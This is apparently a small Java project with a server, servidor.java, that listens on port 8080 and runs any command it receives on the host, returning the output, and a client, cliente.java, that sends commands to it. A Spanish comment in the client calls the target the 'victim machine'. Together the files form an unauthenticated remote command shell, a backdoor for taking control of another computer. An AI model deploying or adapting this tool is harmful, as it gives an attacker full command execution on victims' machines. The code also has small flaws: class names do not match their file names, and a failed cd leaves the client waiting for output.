├── cliente.java
└── servidor.java


/cliente.java:
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 1 | import java.io.*;
 2 | import java.net.*;
 3 | 
 4 | public class codigo {
 5 | 
 6 |     public static void main(String[] args) throws IOException {
 7 |         String serverAddress = "192.168.0.20"; // Aquí poner la IP del servidor o máquina víctima.
 8 |         int port = 8080;
 9 |         try (Socket socket = new Socket(serverAddress, port);
10 |              BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
11 |              PrintWriter out = new PrintWriter(socket.getOutputStream(), true);
12 |              BufferedReader stdIn = new BufferedReader(new InputStreamReader(System.in))) {
13 | 
14 |             String serverResponse = in.readLine();
15 |             System.out.println("Server: " + serverResponse);
16 | 
17 |             String userInput;
18 |             while ((userInput = stdIn.readLine()) != null) {
19 |                 out.println(userInput);
20 |               
21 |                 while (true) {
22 |                     String line = in.readLine();
23 |                     if (line.equals("EndOfOutput") || line.equals("EndOfCdCommand")) {
24 |                         break;
25 |                     }
26 |                     System.out.println(line);
27 |                 }
28 | 
29 |                 if (userInput.equalsIgnoreCase("exit")) {
30 |                     break;
31 |                 }
32 |             }
33 |         }
34 |     }
35 | }
36 | 


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/servidor.java:
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 1 | import java.io.*;
 2 | import java.net.*;
 3 | 
 4 | public class Server {
 5 | 
 6 |     public static void main(String[] args) {
 7 |         try (ServerSocket serverSocket = new ServerSocket(8080)) {
 8 |             System.out.println("Server is ready and waiting for connections...");
 9 | 
10 |             while (true) {
11 |                 Socket clientSocket = serverSocket.accept();
12 |                 new Thread(new ClientHandler(clientSocket)).start();
13 |             }
14 |         } catch (IOException e) {
15 |             e.printStackTrace();
16 |         }
17 |     }
18 | 
19 |     private static class ClientHandler implements Runnable {
20 |         private final Socket clientSocket;
21 |         private String currentDirectory;
22 | 
23 |         public ClientHandler(Socket clientSocket) {
24 |             this.clientSocket = clientSocket;
25 |             this.currentDirectory = System.getProperty("user.home");
26 |         }
27 | 
28 |         @Override
29 |         public void run() {
30 |             try (
31 |                 PrintWriter out = new PrintWriter(clientSocket.getOutputStream(), true);
32 |                 BufferedReader in = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()))
33 |             ) {
34 |                 out.println("Server is ready");
35 | 
36 |                 String inputLine;
37 |                 while ((inputLine = in.readLine()) != null) {
38 |                     if (inputLine.equals("exit")) {
39 |                         break;
40 |                     } else if (inputLine.startsWith("cd")) {
41 |                         handleCdCommand(inputLine, out);
42 |                     } else {
43 |                         runCommand(inputLine, out);
44 |                     }
45 |                 }
46 |             } catch (IOException e) {
47 |                 e.printStackTrace();
48 |             } finally {
49 |                 try {
50 |                     clientSocket.close();
51 |                 } catch (IOException e) {
52 |                     e.printStackTrace();
53 |                 }
54 |             }
55 |         }
56 | 
57 |         private void handleCdCommand(String cdCommand, PrintWriter out) {
58 |             String[] commandParts = cdCommand.split(" ", 2);
59 |             if (commandParts.length == 2) {
60 |                 String newDirectory = commandParts[1].trim();
61 |                 File newDir = new File(currentDirectory, newDirectory);
62 |                 if (newDir.isDirectory()) {
63 |                     currentDirectory = newDir.getAbsolutePath();
64 |                     out.println("Changed directory to: " + currentDirectory);
65 |                     out.println("EndOfCdCommand");
66 |                 } else {
67 |                     out.println("Directory not found: " + newDir.getAbsolutePath());
68 |                 }
69 |             } else {
70 |                 out.println("Invalid cd command format");
71 |             }
72 |         }
73 | 
74 |         private void runCommand(String command, PrintWriter out) {
75 |             try {
76 |                 Process process = Runtime.getRuntime().exec(command, null, new File(currentDirectory));
77 |                 try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
78 |                     String line;
79 |                     while ((line = br.readLine()) != null) {
80 |                         out.println(line);
81 |                     }
82 |                     out.println("EndOfOutput");
83 |                 }
84 |             } catch (IOException e) {
85 |                 e.printStackTrace();
86 |             }
87 |         }
88 |     }
89 | }
90 | 


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